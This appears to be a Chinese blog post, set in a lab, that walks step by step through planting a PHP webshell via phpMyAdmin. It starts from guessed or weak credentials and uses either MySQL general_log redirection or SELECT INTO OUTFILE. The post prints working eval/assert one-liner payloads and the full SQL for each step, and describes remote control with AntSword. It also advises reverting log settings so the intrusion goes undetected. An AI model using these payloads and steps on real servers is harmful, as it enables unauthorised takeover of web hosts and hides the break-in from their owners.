【渗透】phpMyAdmin 上传 webshell 拿后台权限

起序:渗透测试的时候遇到了,复现总结一下。

一、靶场环境

  • VMware Workstation 15.5 Pro
  • windows server 2003
  • phpStudy 2018

二、两种方式

  1. 利用日志文件写入一句话木马
  2. 写入一句话木马生成文件(实际操作时会遇到困难)

1、利用日志文件写入一句话木马

日志文件写入 的思路利用 MySQL 的一个日志文件。我们执行的每一个 sql 语句都会被保存到日志中,换个思路想一下如果把这个日志文件重名为 *.php,然后我们再执行一次 sql语句,那么就会被保存在这个 *.php 文件中,这样我们就能顺利拿到 webshell。

1、进入 phpMyAdmin 控制界面

假设已经通过某种方式得到了 phpMyAdmin 的账号密码。

  • 爆破
  • 弱口令(root:root)

在这里插入图片描述

2、查看日志文件路径

变量 栏的搜索框中输入 gen。会出现 general loggeneral log file 两个变量。因为要将 一句话木马 写入日志文件,所以需要先开启记录日志,将 OFF 改成 ON。日志路径中需要将 *.log 后缀改成 *.php。(特别注意的是,拿到 webshell 之后要改回去,不然就可能被发现了,尽量在拿到 webshell 之后,不要留下痕迹。)

  • general log:指是否启动记录日志;(OFF:否 | ON:是)
  • general log file:指日志路径。

在这里插入图片描述

3、修改日志文件路径

可以用 sql 语句 更改,也可以手动更改。

# 日志保存状态开启
SET global general_log = "ON";
# 修改日志的保存位置
SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/shell.php';

在这里插入图片描述

查看 general loggeneral log file 变量表示的内容。可以看到已经更改完成。

在这里插入图片描述

4、写入一句话木马

SQL 栏中写入下面任选其一即可,然后点击执行。

# eval
select "<?php eval($_POST['shell']);?>";
# assert
select '<?php assert($_POST["shell"]);?>';

在这里插入图片描述

5、查看生成的日志文件

执行完上面过程之后,此时会在网站根目录 E:\phpStudy\PHPTutorial\WWW 下生成了一个 shell.php 的日志文件。

在这里插入图片描述

查看 shell.php 文件内容。可以看到一句话木马已经写入了。

在这里插入图片描述

6、浏览器测试

在这里插入图片描述

7、远程连接

我这里用 中国蚁剑 连接。

在这里插入图片描述在这里插入图片描述


2、写入一句话木马生成文件

1、查看 secure_file_priv 状态

在进行这个方式之前,先查看 secure_file_priv 的状态,来确定数据库是否允许导入文件。

  • secure_file_priv 有三种状态:
    • secure_file_privNULL 时,表示不允许导入导出;
    • secure_file_priv指定文件夹 时,表示 mysql 的导入导出只能在指定的文件夹;
    • secure_file_priv 没有设置时,则表示没有任何限制;
show global variables like "secure_file_priv";

在这里插入图片描述

从上图可知,secure_file_privNULL,这样的情况下是无法插入一句话的,需要修改 secure_file_priv='' 才能插入一句话。此时 secure_file_priv 的状态是无法在 phpMyAdmin 控制界面更改的,所以遇到这种情况之后,这个方法就行不通了。如果运气好的话,可能在渗透测试中遇到 secure_file_priv='' 的情况,那就可以执行了。比如下面图片:

在这里插入图片描述

2、查看网站绝对路径

写入一句话木马之前,必须得知道网站的根目录,不然都不知道往哪儿写。从下面查看的内容可知,根据经验可知,该网站是用 phpstudy 搭建的(假设之前不知道哈),这就很容易判断出网站的根目录是 E:/phpStudy/PHPTutorial/WWW

select @@basedir;

在这里插入图片描述

尝试插入 sql 语句。执行后会发现错误:MySQL服务器使用 --secure file priv 选项运行,因此无法执行此语句

select '<?php @eval($_POST[shell]);?>' into outfile 'E:/phpStudy/PHPTutorial/WWW/shell.php';

在这里插入图片描述

3、更改 secure_file_priv 状态

如何解决这个问题呢?因为是无法在 phpMyAdmin 控制界面更改的。所以只能修改在 E:\phpStudy\PHPTutorial\MySQL 目录下的 my.ini 文件,然后重启服务即可。在 my.ini 文件中,应该是没有 secure-file-priv='' 这个配置的,需要手动添加上。

  • 注:别忘了重启 phpstudy

在这里插入图片描述

3、写入一句话木马

此时再执行 sql 语句 写入一句话木马到 E:\phpStudy\PHPTutorial\WWW 下的 shell.php 文件内,是可以执行成功了。

select "<?php @eval($_POST['shell']);?>" into outfile 'E:/phpStudy/PHPTutorial/WWW/shell.php';

在这里插入图片描述

4、查看生成的文件

执行完上面过程之后,此时会在网站根目录 E:\phpStudy\PHPTutorial\WWW 下生成了一个 shell.php 的日志文件。

在这里插入图片描述

查看 shell.php 文件内容。可以看到一句话木马已经写入了。

在这里插入图片描述

5、远程连接

就不再 浏览器测试了,直接远程连接就行了。

在这里插入图片描述
如果对您有帮助,点个赞再走吧。

  • 2
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

边扯边淡

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值